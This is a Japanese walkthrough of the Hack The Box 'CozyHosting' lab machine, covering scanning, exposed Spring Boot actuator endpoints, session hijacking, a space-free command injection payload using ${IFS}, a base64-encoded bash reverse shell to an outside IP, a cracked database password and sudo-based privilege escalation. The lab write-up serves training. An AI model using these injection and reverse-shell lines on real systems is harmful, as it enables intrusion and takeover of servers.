目次
偵察/スキャン
nmapでスキャンします。
-p-でスキャンし、確認できたTCP/22およびTCP/80に詳細なスキャンを行います。
┌──(kali㉿kali)-[~/htb/cozyhosting] └─$ nmap -sC -sV -A -O -p22,80 10.10.11.230 Starting Nmap 7.94SVN ( https://nmap.org ) Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Nmap scan report for cozyhosting.htb (10.10.11.230) Host is up (0.19s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA) |_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Cozy Hosting - Home Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 184.25 ms 10.10.14.1 2 184.45 ms cozyhosting.htb (10.10.11.230)
TCP/80の調査
/etc/hostsにcozyhosting.htbを登録しアクセスします。
gobusterでディレクトリを探索します。
┌──(kali㉿kali)-[~/htb/cozyhosting] └─$ gobuster dir --url http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cozyhosting.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index (Status: 200) [Size: 12706] /login (Status: 200) [Size: 4431] /admin (Status: 401) [Size: 97] /logout (Status: 204) [Size: 0] /error (Status: 500) [Size: 73]
gobusterでvhostを探索します。
┌──(kali㉿kali)-[~/htb/cozyhosting] └─$ gobuster vhost -u http://cozyhosting.htb --domain cozyhosting.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cozyhosting.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.6 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== Progress: 114441 / 114442 (100.00%) =============================================================== Finished ===============================================================な
なにも見つかりませんでした。
/errorにアクセスしてみると以下のようなページが表示されます。
上記ページの文言で検索してみると「Spring Boot」を使用していそうなことがわかります。
さらにワードリストを変えてディレクトリを探索します。
┌──(kali㉿kali)-[~/htb/cozyhosting] └─$ gobuster dir --url http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cozyhosting.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /actuator (Status: 200) [Size: 634] /actuator/env (Status: 200) [Size: 4957] /actuator/env/lang (Status: 200) [Size: 487] /actuator/env/home (Status: 200) [Size: 487] /actuator/env/path (Status: 200) [Size: 487] /actuator/health (Status: 200) [Size: 15] /actuator/mappings (Status: 200) [Size: 9938] /actuator/beans (Status: 200) [Size: 127224] /actuator/sessions (Status: 200) [Size: 48] Progress: 112 / 113 (99.12%) =============================================================== Finished ===============================================================
/actuatorが見つかります。
アクセス取得
/actuator/sessionsにアクセスすると、アクセス中のユーザのセッション情報が確認できます。
上記の値を使いセッションハイジャックを行います。
Firefoxの開発者ツールを開き「ストレージ」-「Cookie」に上記の内容を入力し、ページを更新、または更新/adminにアクセスするとログイン後のダッシュボードが表示されます。
上記のページの下の方には入力フォームがあり、これを実行すると/executesshにPOSTされるようです。
SSHができるようですが、.ssh/authorized_keysに登録されている必要があるようです。
このフォームでは「ssh -i [key] [username]@[hostname]」のコマンドを実行しているようですが、空白は含められません。
上記の問題について、「${IFS}」を使用します。
「${IFS}」は、Linuxシェルスクリプトやコマンドラインで使用される特殊な変数で、「Internal Field Separator(内部フィールド区切り)の略です。
この変数は、シェルが単語を分割する際に使用する区切り文字を定義します。
上記を使ってコマンドを組みたてます。
test;ping${IFS}-c${IFS}1${IFS}10.10.14.6;#
pingを実行できていることが確認できました。この機能を使用してリバースシェルを取得します。
以下のコマンドでペイロードを作成します。
echo "bash -i >& /dev/tcp/10.10.14.6/4444 0>&1" | base64 -w 0
上記のコマンドをechoの後に入力し、フォームより実行します。
上記実行でリバースシェルが取得できました。
取得したシェルではuserフラグは獲得できませんでした。
別ユーザへの横展開をするために情報を収集します。
「josh」がいることが確認できました。
また、確認できたjarファイルを調査します。
上記のファイルにPostgreSQLのアカウント情報が含まれていることが確認できました。
上記のアカウントを使用してPostgreSQLに接続します。
上記で取得したhash値を解析すると「manchesterunited」が取得できます。
取得したアカウント情報でssh接続するとユーザーフラグが取得できました。
権限昇格
joshで「sudo -l」を実行するとsshがroot権限で実行できるようです。
以下のサイトで権限昇格の情報を確認し、実行するとrootが取得できました。
その他